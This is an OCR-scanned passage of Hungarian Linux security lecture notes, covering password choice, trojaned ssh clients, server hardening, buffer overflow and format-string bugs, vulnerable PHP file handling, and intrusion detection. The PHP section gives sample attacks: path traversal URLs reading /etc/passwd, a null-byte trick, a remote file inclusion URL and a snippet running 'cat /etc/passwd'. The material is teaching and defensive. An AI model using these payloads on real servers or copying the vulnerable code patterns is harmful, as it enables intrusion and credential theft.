(HA, high availability — magas rendelkezésre allasu).

GNU/Linux alatt az egyik legnépszeriibb LDAP-kiszolgald (Lightweight
Directory Access Protocol — Pehelysulyu konyvtarhozzaférési /
cimtdarhozzaferési protokoll) program az OpenLDAP. Azonban jo, ha
tudjuk, hogy léteznek mdas programok is, amelyek megvalositjadk az
LDAP-t. Ilyen példaul a Netscape Directory Server, a Sun ONE Directory
Server és korlatokkal ugyan, de a Microsoft Active Directory is a Windows
2000 szerverben. Megjegyzem, hogy a Novell NDS rendszerében
alkalmazhatunk , LDAP-illesztd interface”-t, igy ez a rendszer is

megfelelhet — sziikség esetén — egy LDAP-kiszolgalonak.


http://www.openldap.org/
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Az LDAP v3 protokoll, amelynek tdmogatdsa az OpenLDAP 2.0-as
valtozatdban jelent meg, képes a TLS (Transport Layer Security —
Szallitasi rétegbeli biztonsag) alapu védelemre — ezt a megoldast a
bongészok és a levelezdprogramok is hasznéaljadk. A TLS az SSL (Secure

Sockets Layer) utddja.

Jonci, az LDAP-ot légy szives részletesebben fejtsd ki!
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8. Biztonsagi rések kihasznalasa

Ennek a fejezetnek a célja annak bemutatasa, hogy az egyes biztonsagi
rések valoban kihasznalhatok, és valdsdgos veszélyt jelentenek. Az egyes
tamadéasok gyakorlati megvalositasa altaldban szigoruan tilos, és sulyos
kovetkezményekkel jarhat (bilintetdjog, polgari jogi kartéritési per). Az az
elképzelés sem felel meg a valosagnak, hogy ha valaki nem rossz
szandékkal kisérel meg betdrni egy rendszerbe, azzal nem okoz kart. A
betorési kisérlet észlelése miatt sziikséges 1épések megtétele is munkat,

koltséget jelent a megtdmadott rendszer karbantartdja szamara.

Természetesen labor koriilmények kozott, elére engedélyezett mddon (pl. a

rendszerek biztonsagi tesztelése céljabol) szabad kisérletezni.

Ez a fejezet Pancz¢l Zoltan eldadasai alapjan késziilt.

8.1. Jelszavak helyes megvalasztasa, szétaras torés

A felhasznalok eldszeretettel valasztanak olyan jelszavakat, amelyek rajuk,
vagy kornyezetiikre jellemz6 informacion alapulnak. Példaul a felhasznéld
személyes neve vagy felhasznaldi neve, sziiletési datuma, lakhelye, hozza
kozel all6 személy neve, autdé marka, hobbi, stb. Ez NAGYON hibas
valasztés, erdsen megkonnyitheti a tdmado dolgat (kiilondsen, ha ismeri a

felhasznalo6t).

A helyes jelszovalasztds minden felhasznalod kotelessége, hiszen barmely

felhasznalo hanyagsaga a teljes rendszert veszélybe sodorja. Amennyiben
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ugyanis a tamadonak sikeriilt egy rendszerbe bejutnia, mar sokkal tobb

lehetdsége van tovabbi biztonsagi rések kihasznalasara.

A ma elterjedt jelszotoré programok keresési algoritmusa alapjdn azt

allithatjuk, hogy nem biztonsagosak az alabbi jelszd csoportok:

szamok

szotari szavak

szotari sz + szam a sz6 elején vagy végén

szotari sz6 kis és nagybetiivel + szam a sz6 elején vagy végén
(régebben pl. a SzeRDal2 még jo volt)

szotari szavak betli helyett szammal (/eet)
(pl. HELLO — 43770, SZERDA — 823RD1)

Milyen tulajdonsagokkal kell rendelkeznie egy megfeleld jelszonak?

Egy

legalabb 8 karakter
tartalmaz kis- €s nagybetiit, szadmot, esetleg metakaraktert is

szotarban nem megtalalhatd (és nem is szotari sz6 kiegészitése

szammal)

hasznos modszer lehet, ha a jelsz6t konnyen megjegyezhetd

mondatbol képezziik. Példaul: a ,, Tegnap dolgoztam és nagyon jol ment.”
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mondatrdl esziinkbe jut a TdEnJm 4 jelsz6. Ennek a generalasara ma nem
tudnak a jelszé tord programok hatékony algoritmust. A teljes kulcstér
bejarasa (pl. 8 karakter esetén) megfeleléen felkésziilt titkosszolgalatok

szdmara lehetséges, script kiddie-k szamara ma még nem.

Ha valaki rendszergazdaként ellendrizni szeretné, hogy a felhasznaloi
betartjdk-e az alapvetd jelszovalasztasi szabalyokat, akkor pl. a John the

Ripper (http://www.openwall.com/john/) nevii jelszotorével konnyedén

megteheti ezt. Szintén az Openwall projekt honlapjan taldlhat hozza
megfeleld szolistat is tobb mint 20 nyelv szavaival, szerepel koztik a
magyar is, a 40MB-os 4 millid bejegyzést tartalmazd verzid ingyenesen

let6lthetd: http://www.openwall.com/wordlists/.

8.2. Miért nem szabad vakon bizni a titkositott
kapcsolatokban?

Ha egy felhasznalo nem megbizhatd géprdl pl. ssh-val bejelentkezik a sajat
gépére, ezzel veszélyezteti azt! Miért? Mert az ssh parancsot
lecserélhették! Ehhez nem sziikséges nagy felkésziiltség, csak elemi C
programozasi ismeret €s egy kis munka. A tamadd hozzafér a forrashoz,
megkeresi az a kodrészletet, ami a jelszot kezeli (pl. auth_passwd.c).
Mivel a jelszot tarold valtozo tartalmat hasznalat utan tordlni szoktak, azaz
tipikusan feltoltik valamilyen karakterrel, elég megkeresi a memset ()
fliggvényt €s elé beszurni egy rovid kodrészletet, ami egy fajlba elmenti a

jelszot. Ez nemcsak az ssh-ra hanem minden mas jelszot kezeld kliens
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programra is igaz. Egy rendszergazda (igényes felhasznalo) tehat jobban
teszi, ha nem lép be akarhonnan a gépére, csak olyan géprdl, amiben
megbizik. (Ha példaul valaki elutazik, ilyen megfontoldsbol is hasznos

lehet egy sajat notebookot magaval vinni.)

Megfeleld jogosultsdg birtokdban a kiszolgaldé program (sshd és minden

mas daemon) is lecserélhetd olyanra, ami menti a jelszavakat!

Rendszergazdaként hogyan el6zhetjiik meg, illetve hogyan vehetjiik észre a

cserét?

+ checksum — ellendrzé Osszeg hasznalata és rendszeres ellendrzése

segit észrevenni

- immutable bit — modosithatatlansag beallitdsa: chattr +i <fajlnév>

Végrehajtasahoz root jogosultsag sziikséges

. strings parancs — a programfajlban talalhat6é stringeket olvashato
formaban kiirja. Ennek nyoméan gyanut foghatunk, hogy pl.
»/tmp/proba” valészinlileg nem volt az eredeti angol nyelvil
programban... De ha a tdmadoé titkositast haszndl a fajlnévre, akkor

nem segit.
- naplofijlok figyelése: pl. az sshd-t miért inditottak Gjra?

- fajlok datumanak ellendrzése
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A betorés észlelés (intrusion detection) és betdérés megel6zés (intrusion

prevention) témakordkkel bévebben is foglalkozunk.

8.3. UNIX vagy Linux szerver adminisztralasi
hibaibél adodé betorések
8.3.1. Tavolrdl kihasznalhaté hibak

Ezek a hibak azért lehetnek nagyon veszélyesek, mert ha a tlizfal valami
oknal fogva nem nyujt kelld védelmet, akkor a tamaddsok az Internet

barmely részérdl johetnek: nagyon nagy a potencidlis tamadok szama.

Hozzaférések korlatozasa, tiizfal

A hatarvédelem a tlizfal feladata, de ezen til a szerveren is megtehetok

még bizonyos beallitasok.

csak azok férjenek hozzd a szerverhez/szolgaltatasokhoz, akiknek
szol. Példaul ha az Egyetem hallgatoinak szol, akkor nem feltétleniil
sziikséges, hogy kiilfoldrdl elérjék (az is megfontolds kérdése, hogy

az Egyetemen kiviilrdl elérhet6 legyen-e).
legalabb egy csomagsziird legyen fenn a szerveren.

A halozati betorésdetektalod rendszeren (NIDS) til a gépen is legyen
egy HIDS (lasd késébb).

Ide vagy késobb kellene egy dbra a NIDS/HIDS megvilagitasara!
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Felesleges szolgaltatasok

Bizonyos disztribuciok feltelepitésekor jo néhany szolgaltatas azonnal
elérhetdvé valik. A felesleges, rendesen be nem konfiguralt, nem gondozott
szolgalatatdsok igen jelentds kockazati tényezok! Ugyeljiink arra, hogy

csak a sziikséges szolgalatatasokat nyujtsuk! Ennek érdekében:

+ Minimalizéljuk a nyitott portokat!

- A felesleges csomagokat vegyiik le!

Frissitések

- Kisérjiilk figyelemmel az operacidos rendszer és az egyes
szolgéltatdsokat nyajt6 programok (biztonsagi) frissitéseit (és
publikalt biztonsagi réseit). Ez komoly szempont lehet egy késdbbi

rendszernél a kivalasztashoz!

- A biztonsagi frissitéseket altalaban fel kell tenni, az egyéb frissitések
esetén (kiilondsen ha a hasznalt disztribucio biztonsagi szintje nem
éppen kivald) célszeri lehet megvarni, amig a megjelennek hozza a

biztonsagi frissitések.

Protokoll hibak

A TCP/IP protokollcsalad (IP, TCP, UDP, ICMP, ...) implementacidja
tartalmazhat hibakat. Ezek kihasznalasara az Interneten kellden sok exploit
van. Itt is érdemes mindent tiltani, amire nincs sziikség. Példaul ha nincs

sziikségiink ra, hogy a szerver pingelhetd legyen, akkor tilthatjuk az echo
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request ¢és echo reply ICMP lizeneteket és ezzel egyben védekeztiink a ping
flood tamadas ellen is. Mellesleg az ICMP protokoll kiilonb6z6 fajta
lizeneteinek atengedése azért is veszélyforrds, mert a tamado

kommunikécios csatornaként hasznalhatja.

Ezen tal a kiilonboz6é alkalmazasok protokolljainak implementacidja is
bdségesen tartalmazhat biztonsagi réseket. Ezek koziil a webhez

kapcsolodoakkal kiilon foglalkozunk.

8.3.2. Helyi biztonsagi kérdések

Fajlrendszer

A lehet6 legkeményebb legyen.
Minél kevesebb program rendelkezzen suid/sgid bittel.

Amely particioknal megtehetd, "nosuid, noexec, ro" opciokkal

mountoljuk fel!

(A témat korabban részletesen targyaltuk.)

Felhasznalok

Kifejezetten erre a célra szant szerveren legyenek

Csak akkor legyen interaktiv shell-jiik, ha sziikséges (pl. levelezd

szerver esetén altaldban elég, ha POP3 vagy IMAP4 protokoll
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segitségével letoltik a leveleiket, illetve lehet egy pine vagy mutt a
shell-jiik).

Kevés privilegizalt felhasznalo legyen. Ne ismerje a root jelszot, ne

legyen 0-s uid-je, akinek nincs ra feltétleniil sziiksége.

NE hasznéljék ugyan azt a jelszot tobb gépen!

Jelszavak

A jelszavak helyes megvalasztasdval mar foglalkoztunk. Fontos a jelszavak
rendszeres cseréje — ez kikényszerithetd, ha a jelszo lejar. Kozonséges
felhasznaloknak 5-6 havonta, privilegizalt felhasznaloknak 2-3 havonta

ajanlott a jelszocsere.

Fejleszt6i kornyezet

Ne legyen fenn, ha nem feltétleniil sziikséges, illetve ne tudja futtatni,

akinek nincs ra sziiksége.

Jogosultsagok, felhasznal6i hozzaférések

Felhasznaloi jogosultsagok helyes bedllitasa, ahhoz férhessenek

hozza, amire sziikségiik van.
Egymas konyvtdrait jobb, ha nem olvashatjdk — ez persze fiigg a

szervezet céljatol. Adatcserére ekkor is egyszerlien hasznalhatjak pl.

a /tmp konyvtarat.
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- Fontos a kiilonb6zd konfiguracios fijlok jogosultsdgainak helyes
beallitdsa, a felhasznalok ne is olvashassak — jelszavakat is

tartalmazhatnak!

- A naplofijlokat rendszeresen elemezziik — sok program van, ami

segiti az elemzésiiket.

8.4. Programozéi hibak

Az Interneten taldlhatd programokat, s6t még a kiilonbozé UNIX/Linux
disztribuciokban szereploket is erdsen eltérd tudasszintli emberek irtak.
Réaadasul egy résziik elébb sajat hasznalatra késziil, majd késdbb
kozzétették. A programok tervezése (ha volt ilyen) és megirasa idején a

biztonsag szempontként esetleg fel sem meriilt.

Példaként lassunk néhany tipikus, jol ismert, mégis gyakran elkovetett
hibat.

8.4.1. Kornyezeti valtozé hibas hasznalata

A strings parancs segitségével ki lehet iratni egy bindris allomanyban
szereplé stringeket. Tekintsiink egy suid root-os programot. Ha ez a
program elindit egy kornyezeti valtozéban megadott nevii helyrél egy
masik programot, akkor a tamado a kornyezeti valtozot a sajat programjara
atallitva elinditja a suid root-os programot, ami elinditja a tdmado sajat

programjat, ami 6rokli a suid root jogot.
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8.4.2. A /tmp konyvtar hibas hasznalata: symlink attack

Ha egy program a /tmp konyvtarban (vagy egyéb barki altal irhatod
konyvtarban) hoz létre ismert (vagy megjosolhatd nevil) fajlt akkor a
tamado mar eldre 1étrehozhat egy azonos nevii szimbolikus linket, amivel a
sajat tulajdondban levo fajlra mutat — ezt a tdmadast symlink attack-nak is
nevezik. A biztonsagi kockazat abban van, hogy a tamadoé igy képes azt az
ideiglenes f4jlt irni és olvasni, amihez egyébként nem szabadna

hozzaférnie.

8.4.3. Puffer talcsordulason alapulé tamadas: buffer overflow
attack

A legtobb alkalmazasnak sziiksége van valamilyen bemenetre. Az
alkalmazasaink nagy része C nyelven késziilt. A bemenet beolvasisa
valamilyen erre a célra szant munkateriileten (puffer) keresztiil torténik. A
puffer hosszadt a programozok ugy szoktdk megvélasztani, hogy az a
feladat szempontjabol értelmesen hasznalhato leghosszabb bemenet esetén
is elég legyen. (Példaul az egyik programozo6 ugy érzi, hogy 100 karakter
biztosan elég lesz egy e-mail cimnek.) A puffert altaldban a tobbi valtozo
kozott a veremteriileten (stack), esetleg a dinamikusan lefoglalhato
memoriateriileten (heap) hozzak létre. Helyes programozasi gyakorlat
esetén lgyelnek arra, hogy a puffer hosszat a beolvasott adatok ne
haladhassék meg. (Ezen tal a bemend adatok tipusat, értékét is vizsgaljak,
egy programnak nem megfeleld bemenet esetén sem szabad ,,fejre allnia”,
hanem a hibanak megfelelé hibajelzést kell adnia.) Ha a programozo

elkoveti azt a hibat, hogy a bemenet hosszat nem ellendrzi, akkor ezt a
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tdmadd kihasznalhatja. Gondatlan beolvasas esetén puffer hosszat
meghalad6 adatrész is bekeriil a puffer utdn kdvetkez6 memoria teriiletre:
puffer tulcsordulas jon létre. A tdmado a program forrasanak ismeretében
(esetleg anélkiil is) képes lehet a puffer talcsorduldst a sajat céljaira
kihasznalni. Tekintsiik azt az esetet, amikor a puffer a veremben van. Ha
utdna mas valtozok helyezkednek el, akkor a tamado megfeleld inputtal
ezeket az altala kivant értékiire allithatja, amit adott esetben sajat céljainak
megvalositasara kihasznalhat. De még tobb lehetdsége is van. Mivel az
egyes fliggvények a visszatérési cimiiket a veremben taroljak, ezért a puffer
talcsordulassal ezt is képes a tamadd megvaltoztatni. A vezérlés
megszerzésének elvi menete most mar egyszerii: a timado az altala futtatni
kivant koédot mint bemenetet bejuttatja a pufferbe, annak cimét pedig a
puffer utdni verem részbe, ahol az éppen futd fliggvény visszatérési értéke
talalhat6. Amikor a fliggvény végrehajtja a visszatérést, a vezérlés rakeril a
tamado altal bejuttatott kodra. Persze meg kell oldania néhany feladatot:
elkésziteni az adott processzor gépi nyelvén a binaris kddot, megbecsiilni,

hogy a puffer milyen cimre kertil, stb.

A megoldads mélyebb targyalasaval most nem foglalkozunk, a tdmadas

megvaldsitasat Panczél Zoltan bemutatta.

Erdeklédéknek javaslom a kovetkezd részletes leirast:

http://www.linuxjournal.com/article/6701. A cikk helyesen mutatja be a

program altal hasznalt memoriateriiletek felépitését is (ami segiti a timadas
megértését). Megmutatja a védekezés moddszereit 1s. A tamadast

(természetesen csak tanulds céljabol) kiprobalni szandékozoknak hasznos
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lehet a cikk referenciai kozil az elso:

http://destroy.net/machines/security/P49-14-Aleph-One. Ennek sajnos

elnagyolt (bar a tdmadas megértéséhez elég) a processzek memoria
kiosztasdt bemutatd része, viszont van egy magyar forditasa:

http://www.freeweb.hu/lezli/stuffz/overflow.txt (Ha valakinek tordelés

nélkiil jelenik meg a bongészdjében, akkor mentse el a fajt és Ggy nézze

meg — UNIX-os sorvég jeleket tartalmaz.)

A fentiek elkésziilte utdn akadtam rd egy igen kivalé magyar nyelvii

anyagra, amely még a megértéshez sziikséges alapismereteket is bemutatja:

http://www.saveas.hu/documents/publications/overflow-20020301.pdf

8.4.4. A C nyelvii hibas kiirason alapulé tamadas: format
string attack

Talan meglepd, de nemcsak a beolvasds, hanem is kiirds okozhat

biztonsagi rést. Ennek oka a C nyelv nem szigortian tipusos volta és a

nyelv altal nyqjtott lehetdség arra, hogy egy fliggvénynek valtozo szamu

argumentuma lehessen, amit a pl. printf fliggvény is hasznal. C nyelven egy

string kiirasanak a helyes modja a kdvetkezd:

printf ("%s", puffer); // ahol a string a puffer nevi
valtozdéban van

Viszont a programozok hajlamosak a formatum string elhagyasara. Hiszen
a formatum string nem specidlis karaktereket tartalmaz6 részeit a printf

fiiggvény valtoztatas nélkiil kiirja, igy ha a formatum string helyére irjuk a
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puffer nevill valtozot, akkor a programoz6 varakozasa szerint annak

tartalmat fogja a program kiirni:

printf (puffer); // HIBA: a formadtum string elhagyésa
biztonsagi rés!

Amennyiben a puffer tartalma nem konstans, hanem fiigg a program
bemenetétdl, és a tamado képes azt befolyadsolni, akkor megteheti példaul,
hogy a puffer elejére elhelyez egy tipuskaraktert (pl. %s vagy %x) és
kiiratja valamely memoriateriilet tartalmat. Mar ez is nagyon veszélyes
lehet, de még ennél is tobb lehetdsége van a %n hasznélataval: ez ugyanis
azt jelenti a printf szamadra, hogy a kiirand6 karakterek szamat irja be
egy valtozdba, ami majd a formatum string utdn kovetkezik (a megfeleld
sorszamu pozicidban attél fliggden, hogy elétte volt-e még mas
tipuskarakter, amihez valtozé tartozik). Ezzel a tdmadd gyakorlatilag
tetszéleges memoriacimre tetszéleges értéket tud bevinni, ami lehetdséget

ad a szamara, hogy atvegye a program felett az uralmat! Részletesebb leiras

talalhatd: http://www.lava.net/~newsham/format-string-attacks.pdf.

8.5. Webes biztonsagi rések

A web az egyik legnépszerlibb internet felhaszndlds. Mar alacsony
tudésszintli felhasznalok 1is készithetnek maguknak sajat honlapot
valamilyen HTML szerkesztd segitségével, sét forrasnyelven sem okoz
komoly nehézséget néhany statikus weboldal elkészitése. Aki ennél tobbre
vagyik szintén talal maganak kezdoknek szol6 konyveket, amibdl

megtanulhatja a dinamikus weboldalak szerkesztésének alapelemeit. Az
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alapvetd internetes biztonsagi ismeretek hidnyaban ezektdl a kezddktdl
nem is nagyon varhato el, hogy a biztonsaggal egyaltalan foglalkozzanak.
Ilyenkor a rendszergazda feladata, hogy a szerver biztonsagat mégis
megfeleld szinten tartsa. Sajndlatos modon szamitastechnikai szakemberek
is gyakran készitenek — pusztan a miikodésre és a hataridére koncentralva —
biztonsagi résekt6l hemzsegd oldalakat! Ebben az esetben viszont mar
komoly szemléletvaltisra ¢és a webes biztonsadgi alapismeretek

megtanulasara van sziikség!
A webes biztonsagi rések toObbsége az alabbi okokra vezethetd vissza:

+ nagy, Osszetett rendszerek

- nem ellen6rzott bemenet

nem megfeleld jogosultsdgok

- biztonsag alapvetd hianya

Most néhény példat fogunk megnézni arra, hogy milyen kdnnyli webes
biztonsagi réseket létrehozni, €s arra is, hogy megfeleld koriiltekintéssel

hogyan lehet elkeriilni 6ket.

A példdk PHP nyelviiek és altalaban Onmagukért beszélnek, de

érdeklédoknek ajanljuk a  http://www.php.net/manual/hu/ webcimen

talalhatdé magyar nyelvii PHP kézikonyvet. A PHP a szerver oldali
webprogramozas nagyon hatékony eszkoze, a HTML forrasba beagyazva

lehetdvé teszi a szerveren fajlok elérését, parancsok végrehajtasat, halozati


http://www.php.net/manual/hu/
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kapcsolatok nyitasat. Ezek a lehetdségei — nem megfeleld hasznélat esetén
— stlyos biztonsagi réseket okozhatnak. A nyelv egyébként talan a legjobb
valasztas dinamikus weblapok 1étrehozéaséra, és megfeleld szakértelemmel

biztonsagosan hasznalhato! A biztonsagi kérdésekrdl is olvashatunk a fenti

weblapon: http://www.php.net/manual/hu/security.php.

8.5.1. Fajlnév hasznalataban ered6 biztonsagi rések

Alap példa

Kiindulasként tekintsiink egy egyszeri példat. Egy weblap esetén az URL

tartalmazza a megnyitni kivant f4jl nevét a kovetkez6é modon:

www.akarmi.hu/index.php?fajl=adatok. txt

A forrasban pedig a kovetkezdképpen torténik a fajl megnyitasa:

<?php

éﬂéndle:fopen($HTTP_GET_VARS['fajl'],"r");

2>

Ebben az esetben semmi akadalya annak, hogy a timad6 az adatok. txt

helyett a /etc/passwd fijlnevet adja meg!

Miért olyan nagy baj ez? Mar az is komoly informacid a tAmado szdmara,
hogy milyen nevii felhasznalok vannak a szerveren. Ezen kiviil még
kidertilhetnek egyéb hibak is, pl. adott nevii felhasznalonak 0-s uid-je van...
S6t régebbi vagy rosszul adminisztralt rendszerek a kodolt jelszavakat is
ebben a mindenki altal olvashatd fajlban taroljak (pl. HP-UNIX is, ha a

shadowpasswd csomagot nem tették fel). Természetesen sok mas
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konfiguracios fajl ilyen mddon torténd olvashatdsaga is komoly kockazatot

jelent!

Javitasi kisérletek

Prébaljunk javitani a helyzeten! Elsé otletként tegyiik a fajl neve elé a

konyvtar utvonalat:

$file='/var/www/'.$HTTP_GET VARS['fajl'l];

$handle=fopen ($file,"r") ;

Ezt a timado konnyen megkeriilheti a kovetkezdképpen:

www.akarmi.hu/index.php?fajl=../../etc/passwd

Masodik otletként sziirjik ki a '../' karaktersorozatot! Ez sem okoz
azonban komoly gondot a tamadénak: a sziirés esetén a '.../...//"
sorozatbol éppen eldall a ' . . /' sorozat. Megoldast jelenthet a teljes meta

karakter készlet szurése.

Null bajt hasznalata

Tegyiik fel, hogy gy probalunk védekezni a tdmadd ellen, hogy csak
meghatarozott végzdédésti (DOS, Windows esetén kiterjesztésnek hivjak)
fajlokat engediink megnyitni. Ezt pedig Ugy szeretnénk elérni, hogy mi

flizzlik hozza a végzodést:

<?php

$file SHTTP_GET VARS['fajl'];
$file = $file.'.txt';
$handle=fopen ($file, 'r');

?>

A tdmado6 mégis képes pl. az index.php f3jlt megszerezni az alabbi triikkel:
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www.valami.hu/index.php?fajl=index.php%00
Miért? Mert mi ugyan hozzaflizziik a " . txt" végzddést, de a NULL bajt
miatt a stringnek a fajlnév szempontjabdl az index.php utdn ,,vége

van”! Lasd C nyelv.

Tanécs: taroljuk kiilon konyvtarban a hozzaférhetének ¢és a nem
hozzaférhetének szant fajlokat. A hozzéaférhetdnek szant konyvtarakon
kivil minden mas konyvtarhoz vald hozzaférést beallitasokkal kell
megakadalyozni. Az open_basedir direktivaval megadhatjuk (vesszdvel
elvalasztva tobbet is), hogy mely konyvtarakban levd fajlokat lehet PHP-
bol megnyitni, minden mast tilos. Bdévebben:

http://www.php.net/manual/hu/features.safe-mode.php#ini.open-basedir.

Az Olvas6 joggal kérdezheti: egyaltalan miért engedjilk meg inputként a
fajlnév megadasat? Valoban, bizonyos esetekben sokkal egyszeribb, ha
nem engedjiik meg. Példaul ha egy meniit épitiink, akkor az egyes
meniipontokhoz tartozé fajlok nevei helyett haszndljunk szadmokat (amivel
pl. indexelhetiink egy tombdot, ha sziikséges). Igy nagyon egyszerii lesz
ellendrizni, hogy az adott szdm a megengedett hatarok kozotti-e. Vannak
azonban olyan esetek, amikor sziikséges, hogy a felhasznalok kifejezetten
fajlnevet adhassanak meg. Példaul ha webes feliileten keresztiil a sajat

home konyvtarukban egy altaluk megadott nevii fajlt kivannak létrehozni.

8.5.2. Sajat script futtatasa

Az el6z6ho6z hasonldan ez a tamadas is az ellendrizetlen bemeneten alapul.

A problémat okoz6 parancs:
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www.akarmi.hu/index.php?inc_text=oldal.php

A biztonsagi rés kihasznalasahoz sziikséges:

- egy szerver, amelyen nincs PHP futtatasi lehetdség

- sajat script, amit a tamado futtatni szeretne

Legyen a tdmadas:

www.akarmi.hu/index.php?inc_text=http://www.php-
nelkuli.hu/sajat_script.php

Amennyiben a www.php-nelkuli.hu egy valédi webszerver, amin nincs
PHP, a sajat_script.php a www.akarmi.hu-n fog lefutni. Egy apro
példa:

<?php

system(’ cat /etc/passwd’) ;

2>

A tamadé megfeleld exploitokkal akar root szintre is tudja torni a

rendszert.

A védekezés moddja ismét csak a bemenet ellendrzése, a "http://"

string, illetve a teljes meta karakter készlet kiszlirése.

KERDES: MILYEN KODNAK KELL LENNIE a www.akarmi.hu-n

aminek a hatasara feldolgozodik? Vajon include(); fiiggvénynek???

A fenti néhdny példa célja csak az volt, hogy ha valaki dinamikus

weboldalakat akar késziteni, akkor gondoljon a biztonsagra! Természetesen
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nem csupan a bemutatott néhany tdmadas ellen kell védekezni! Megfeleld

alapismeretek nélkiil ne készitsiink ¢les lizemre szant dinamikus weblapot!
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9. Behatolas észlelés, megeldzés

A leggondosabban adminisztralt szerver vagy tlizfal esetén is nagy hiba
volna azt gondolni, hogy most mar hozzank Ggysem tudnak betdrni! Sét,
szdmitani, késziilni kell a tAmadésokra. Hogyan vehetjiik észre, ha betortek
hozzank? So6t, hogyan figyelhetiink fel mar a probalkozasokra? Mit
tegylink, ha megtdmadtak benniinket, esetleg mar be is tortek? Hogyan
hasznalhatjuk fel a rendszeriink elleni tdmadas észlelését €s a tamadasrol
szerzett ismereteket a betdrés megeldozésére? Ebbe témakorbe fogunk most

betekinteni.

9.1. Behatolas észlelése és kezelése

9.1.1. Naplék rendszeres figyelése

Egy rendszergazdanak kotelessége, hogy rendszeresen figyelemmel kisérje
a naplézott eseményeket. A naplok figyelése a rendszer miitkodési
rendellenességeire 1s ravilagit. Természetesen a naplokat tobb
szempontbol is elemezziik, most a biztonsdg szempontjabdl érdekes

bejegyzések érdekelnek benniinket.

A Linuxban lehetéségiink van példaul arra, hogy bedllitsuk a hélozati
furcsasdgok, gyanus dolgok naplozasat, ehhez 4-es verzioju IP protokoll
esetén a /proc/sys/net/ipv4/conf/all/log martians fijlba
kell az alapértelmezett 0 helyett 1-t irnunk.
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A naplok elemzése soran — azok mérete miatt — sok esetben célszerii
feldolgozd programokat hasznélni, szliréseket végezni. Azonban legylink
ovatosak, mert ha csak bizonyos tipust tdmadéasokra szamitunk és csak az
ezek szempontjabol érdekes bejegyzésekre szliriink, és nem néziink bele a
nyers naplofajlokba, akkor konnyen elkeriilhetik a figyelmiinket olyan
jelek, amik egyébként arulkodnénak...

MIK AZOK, AMIKRE FIGYELJUNK FEL?

9.1.2. Betorés gyanuja esetén

Amennyiben gyants eseménnyel talalkozunk, végig kell gondolni, hogy mi
allhat mogotte, és milyen szintli vesz€lyt jelent ez a rendszer szdmara. A
tamado kilétének a kideritése céljabol hagyhatjuk-e a dolgot (pl. ki torte fel
tavaly végzett hallgatd kérésére levelezés céljabol meghagyott, erdsen
korlatozott accountjat) vagy azonnali beavatkozést igényel (pl. a tdmadé
root jogosultsagot szerzett, IleFTPzte a /etc/shadow f3jlt, atirta a kezdd
weblapot, stb.). Milyen lépéseket kell megtenniink? Kivanatos, fontos
rendszereknél pedig kotelezd, hogy legyenek kiilonbdzd szintli betdrésekre
elozetesen végiggondolt (leirt, kiprobalt) intézkedési tervek. A
rendszergazdanak eldre tisztaban kell lennie azzal, hogy milyen hatrannyal
jar egy-egy szolgaltatas vagy a rendszer egészének leallitisa. Es milyen
kovetkezményei lehetnek annak, ha ha pl. a munkaidé végéig vagy a hét
végéig varunk a szerver leallitasaval? A kovetkezményeket mindig az adott

rendszer esetén kell mérlegelni.
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9.1.3. A helyreallitas és a kovetkezmények felszamolasa

Ha van rd lehetdségiink (pl. 1d6, szabad mentési kapacitas) akkor a
rendszert a halézatrol levalasztva (erre a célra eldre elkészitett) tiszta
eszk6zrdl inditva mentsiink el mindent! A késébbiek soran sok minden jol

jOhet még, példaul:

- ateljes rendszer a tAmad6 még el nem tiintetett nyomaival
- arendszerben 1évd naplofajlok (persze van kiilon napldszerveriink is)

- az aktualis konfiguracios fajlok — ha a szolgaltatasok beallitdsakor

gondjaink lennének

. felhasznalok adatai — az utolsd mentés Ota valtozhattak

Ha a tdmado6 root jogosultsagot szerzett, vagy ennek gyantja felmeriil,
akkor nem bizhatunk meg tovabb a rendszeriinkben, Ujra kell telepiteni.
(P¢ldaul feltehetett egy rootkit-et, de az is elég, ha hagyott maganak néhany
rejtekajtot.) Az (jratelepités soran  természetesen  minden
megbizhatatlannak tekintendd, ami korabban a rendszerben volt. (igy pl.
konfiguracios fajlokat szabad tanulméanyozni, de nem szabad

visszamasolni!)

A helyreallitasnak csak egy része a rendszer és az adatok visszatdltése az
utols6 mentésbdl. Amig a betorést lehetové tevd biztonsagi rést meg nem
talaltuk és meg nem sziintettiik, kockézatos dolog a rendszert Gjra iizembe

helyezni. (Persze adott koriilmények kozott lehet, hogy meg kell tenniink,
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de ez fokozott eldvigyazatossagot igényel, pl. nagyon gyakori mentések,
sokkal bdvebb naplozas és tobb naplotanulmédnyozés...) A betdrésrol
értesiteni  kell az érintetteket, ¢és a veszélyekre valé megfeleld
figyelmeztetés mellett lehetévé kell tenni a szdmukra, hogy az utolso
mentésbdl szarmaz6 adatokon tal hozzaférhessenek a betoréskor mentett

adatokhoz is.

A betorés kovetkezményeinek elhéritdsa azonban még nem ért véget! Fel
kell tarni (akdr a mentett feltort rendszer tovabbi elemzésével), hogy a
tamadonak milyen adatok juthattak a birtokaba. Pl. a /etc/shadow
fajlban tarolt egyiranyu fiiggvénnyel kodolt jelszavak, a rendszerben adott
szolgaltatasoknal esetleg nyiltan tarolt jelszavak, érzékeny konfigurdcios
fajlok, a felhasznalok titkos PKI kulcsai, egyéb érzékeny informacioik.
Errél minden érintettet megfeleléen (ugy hogy meg is értse) tajékoztatni
kell. Amennyiben a felhasznalok jelszavai kompromittalodhattak, uj
jelszavakat kell adni a szdmukra. Ha ez nem lehetséges személyesen, akkor
ellendrizni kell, hogy a ,kincstarilag” kiosztott jelszavakat hataridére

lecserélték-e.

9.2. Automatikus behatolas-észlelés

Természetesen lehetdség van arra, hogy a behatolas észlelést bizonyos
szinten automatizaljuk, vagy legaldbb programokkal tamogassuk. A
behatolas érzékeld rendszerek (Intrusion Detection System — IDS)

tipikusan ismert tamadasok alapjan késziilt mintak segitségével miitkdnek.
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A minta persze 4ltaldnositast hordozhat, példaul nem egy adott program,
hanem 4ltaldban programok egy kore ellen érzékel puffer tulcsorditasra
utalo jeleket — mondjuk irredlisan hosszi bemeneti adatot kap a program. A
behatolas érzékeloknek két csoportja van, a héalozati behatolds érzékeldk
(NIDS — Network Intrusion Detection System) a haldzati forgalmat
figyelik, mig a host alaptiak (HIDS — Host Intrusion Detection System) az

adott gép konyvtarainak és fajljainak valtozasat.

9.2.1. A Snort program

A Snort http://www.snort.org az elsé szdmu nyilt forrasu (GPL-es) halozati

behatolas jelz6/megel6z6 program. (A behatolas megelézés (IPS) divatos
kifejezés, a témaval kiilon foglalkozunk, addig maradjunk a behatolas
észlelés/jelzés témdanal.) A program képes IP haldzaton valds idejii
forgalom analizisre és naplozasra. Képes a protokollokat elemezni: egy
